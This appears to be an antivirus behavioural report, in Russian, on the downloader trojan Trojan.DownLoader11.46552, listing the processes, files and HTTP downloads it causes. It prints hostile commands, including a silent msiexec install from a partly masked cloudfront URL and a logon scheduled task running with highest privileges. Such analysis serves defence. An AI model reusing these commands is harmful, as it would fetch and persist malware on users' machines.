Trojan.DownLoader11.46552

Вредоносные функции:

Создает и запускает на исполнение:

'%TEMP%\nsrE60B.tmp\max.exe' {2159CB25-EF9A-54C1-B43C-E30D1A4A8277}
'%TEMP%\nsrE60B.tmp\nsA80.tmp' "%TEMP%\nsrE60B.tmp\max.exe" {2159CB25-EF9A-54C1-B43C-E30D1A4A8277}
'%TEMP%\nsrE60B.tmp\ns2E67.tmp' "%PROGRAM_FILES%\NpackdCL\npackdcl.exe" add-repo --url=https://www.it###ike.com/addon/repo/repository.xml --bare-format
'%TEMP%\nsrE60B.tmp\str.exe' -d -s "<LS_APPDATA>\NSManager\manager.exe" /accepteula
'%TEMP%\nsrE60B.tmp\ns2FFD.tmp' "%PROGRAM_FILES%\NpackdCL\npackdcl.exe" remove-repo --url=https://windows-package-manager.googlecode.com/hg/repository/Rep.xml --bare-format
'%TEMP%\nsrE60B.tmp\str.exe' -d -s "%PROGRAM_FILES%\Like\Like.dll" /accepteula
'%TEMP%\nsrE60B.tmp\nsFE6D.tmp' "%TEMP%\nsrE60B.tmp\str.exe" -d -s "%PROGRAM_FILES%\Like\Like.dll" /accepteula
'%TEMP%\nsrE60B.tmp\nsE715.tmp' "<SYSTEM32>\cmd.exe" /C wmic computersystem get model /format:list
'%TEMP%\nsrE60B.tmp\ns226.tmp' "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" "%PROGRAM_FILES%\Like\Like.dll" /s /codebase
'%TEMP%\nsrE60B.tmp\max.exe' (загружен из сети Интернет)
'%TEMP%\nsrE60B.tmp\str.exe' (загружен из сети Интернет)

Запускает на исполнение:

'<SYSTEM32>\conhost.exe' /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
'<SYSTEM32>\conhost.exe' <SYSTEM32>\schtasks.exe /create /tn NSManager_1416941442 /sc onlogon /tr "\"<LS_APPDATA>\NSManager\manager.exe\"" /rl highest
'<SYSTEM32>\conhost.exe' /create /tn NSManager_1416941442 /sc onlogon /tr "\"<LS_APPDATA>\NSManager\manager.exe\"" /rl highest
'<SYSTEM32>\msiexec.exe' /qb- /i http://di#######nk7d.cloudfront.net/cl.msi
'<SYSTEM32>\Wat\WatAdminSvc.exe' /run
'<SYSTEM32>\Wbem\WMIC.exe' computersystem get model /format:list
'%WINDIR%\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' "%PROGRAM_FILES%\Like\Like.dll" /s /codebase

Завершает или пытается завершить

следующие пользовательские процессы:

Изменения в файловой системе:

Создает следующие файлы:

<LS_APPDATA>\Microsoft\Windows\Temporary Internet Files\Content.IE5\3U23MFC9\manager[1].zip
%TEMP%\nsrE60B.tmp\manager.zip
%TEMP%\nsrE60B.tmp\ns3398.tmp
%TEMP%\nsrE60B.tmp\ns3194.tmp
%TEMP%\nsrE60B.tmp\nsCE1.tmp
%TEMP%\nsrE60B.tmp\ns2E67.tmp
%TEMP%\nsrE60B.tmp\ns2FFD.tmp
%TEMP%\nsrE60B.tmp\System.dll
%TEMP%\nsrE60B.tmp\nsJSON.dll
<LS_APPDATA>\Microsoft\Windows\Temporary Internet Files\Content.IE5\UEWNTWLX\li1001[1].zip
%TEMP%\nsrE60B.tmp\li.zip
%TEMP%\nsrE60B.tmp\likeff.zip
%TEMP%\nsrE60B.tmp\ns377F.tmp
<SYSTEM32>\Tasks\NSManager_1416941442
<LS_APPDATA>\Microsoft\Windows\Temporary Internet Files\Content.IE5\YIF7DGLM\likeff[1].zip
<Служебный элемент>
<LS_APPDATA>\Microsoft\Windows\Temporary Internet Files\Content.IE5\YIF7DGLM\max[1].exe
%TEMP%\nsrE60B.tmp\max.exe
<LS_APPDATA>\Microsoft\Windows\Temporary Internet Files\Content.IE5\UEWNTWLX\str[1].exe
%TEMP%\nsrE60B.tmp\inetc.dll
%TEMP%\nsrE60B.tmp\nsExec.dll
%TEMP%\nsrE60B.tmp\nsE715.tmp
%TEMP%\nsrE60B.tmp\str.exe
%TEMP%\nsrE60B.tmp\nsFE6D.tmp
%TEMP%\nsrE60B.tmp\ns226.tmp
%TEMP%\nsrE60B.tmp\nsA80.tmp
%TEMP%\nsrE60B.tmp\nsUnzip.dll
%TEMP%\nsrE60B.tmp\nsProcess.dll
<LS_APPDATA>\Microsoft\Windows\Temporary Internet Files\Content.IE5\23BUYPX5\likeie[1].zip
%TEMP%\nsrE60B.tmp\likeie.zip

Удаляет следующие файлы:

Сетевая активность:

Подключается к:

TCP:

Запросы HTTP GET:

ct###.#indowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?5f##############
di#######nk7d.cloudfront.net/manager.zip
d1#######ffo0h.cloudfront.net/li1001.zip
d1#######ffo0h.cloudfront.net/likeff.zip
di#######nk7d.cloudfront.net/str.exe
di#######nk7d.cloudfront.net/max.exe
di#######nk7d.cloudfront.net/cl.msi
d1#######ffo0h.cloudfront.net/likeie.zip

UDP: